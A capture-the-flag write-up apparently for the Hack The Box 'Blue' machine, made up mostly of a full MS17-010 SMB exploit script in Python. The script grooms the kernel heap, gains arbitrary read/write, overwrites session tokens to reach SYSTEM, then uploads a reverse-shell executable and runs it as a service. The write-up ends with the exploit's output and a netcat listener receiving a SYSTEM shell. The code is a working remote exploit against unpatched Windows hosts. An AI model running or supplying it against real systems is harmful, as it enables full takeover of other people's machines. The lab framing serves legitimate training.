if recvPkt.getNTStatus() != 0x10002: # invalid SMB
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
print('success controlling groom transaction')
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
print('modify trans1 struct for arbitrary read/write')
fmt = info['PTR_FMT']
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans2.mid
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True
def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid
if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
else:
# do not know target architecture
# this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# paramterCount = 0x100-TRANS_NAME_LEN
print('Groom packets')
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# trans1 trans2
# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
# ================================
# Dangerous operation: attempt to control one transaction
# ================================
# Note: POOL_ALIGN value is same as heap alignment value
success = False
for tinfo in attempt_list:
print('attempt controlling next transaction on ' + tinfo['ARCH'])
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 0x10002: # invalid SMB
print('success controlling one transaction')
success = True
if 'arch' not in info:
print('Target is '+tinfo['ARCH'])
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.
print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore trans2.InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
# ================================
# leak transaction
# ================================
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 0x100)
leakData = leakData[4:] # remove param
#open('leak.dat', 'wb').write(leakData)
# check heap chunk size value in leak data
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
print('chunk size is wrong')
return False
# extract leak transaction data and make next transaction to be trans2
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid))
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr))
# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
print('modify transaction struct for arbitrary read/write')
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans1.mid
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
info.update({
'connection': connection_addr,
'session': session_addr,
'trans1_mid': trans1_mid,
'trans1_addr': trans1_addr,
'trans2_mid': trans2_mid,
'trans2_addr': trans2_addr,
})
return True
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.0"):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
print('This exploit does not support this target')
sys.exit()
if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
print('Not found accessible named pipe')
return False
print('Using named pipe: '+pipe_name)
if not info['method'](conn, pipe_name, info):
return False
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================
fmt = info['PTR_FMT']
print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
print('overwriting token UserAndGroups')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print('overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
try:
smb_pwn(conn, info['arch'])
except:
pass
# restore SecurityContext/Token
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(conn.get_tid())
conn.logoff()
conn.get_socket().close()
return True
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
# struct _TOKEN:
# ...
# ULONG UserAndGroupCount; // Ro: 4-Bytes
# ULONG RestrictedSidCount; // Ro: 4-Bytes
# ...
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
# RestrictedSidCount MUST be 0
# RestrictedSids MUST be NULL
#
# userandGroupCount must NOT be 0
# userandGroupsAddr must NOT be NULL
#
# Could also add a failure point here if userAndGroupCount >= x
success = True
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
success = False
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
return success, userAndGroupCount, userAndGroupsAddr
def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
# try with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# still no good. Abort because something is wrong
if not success:
print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
sys.exit()
# token parsed and validated
return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe')
service_exec(conn, r'cmd /c c:\\puckieshell443.exe')
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
# based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
if len(sys.argv) < 2:
print("{} <ip> [pipe_name]".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
exploit(target, pipe_name)
print('Done')
root@kali:/opt/MS
It is now possible to run zzz_exploit.py . A named pipe is required to execute the script, and in
this case ntsvcs works just fine.
root@kali:/opt/MS17-010# python zzz_exploit.py 10.10.10.40 ntsvcs Target OS: Windows 7 Professional 7601 Service Pack 1 Target is 64 bit Got frag size: 0x10 GROOM_POOL_SIZE: 0x5030 BRIDE_TRANS_SIZE: 0xfa0 CONNECTION: 0xfffffa80020a5840 SESSION: 0xfffff8a008c3b8e0 FLINK: 0xfffff8a0092a5088 InParam: 0xfffff8a00929f15c MID: 0x3908 success controlling groom transaction modify trans1 struct for arbitrary read/write make this SMB session to be SYSTEM overwriting session security context creating file c:\pwned.txt on the target Opening SVCManager on 10.10.10.40..... Creating service niun..... Starting service niun..... The NETBIOS connection with the remote host timed out. Removing service niun..... ServiceExec Error on: 10.10.10.40 nca_s_proto_error Done
Catch it with netcat listener
root@kali:/opt/MS17-010# nc -lvp 443 listening on [any] 443 ... connect to [10.10.14.11] from haris-pc [10.10.10.40] 49162 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system
Author :Puckiestyle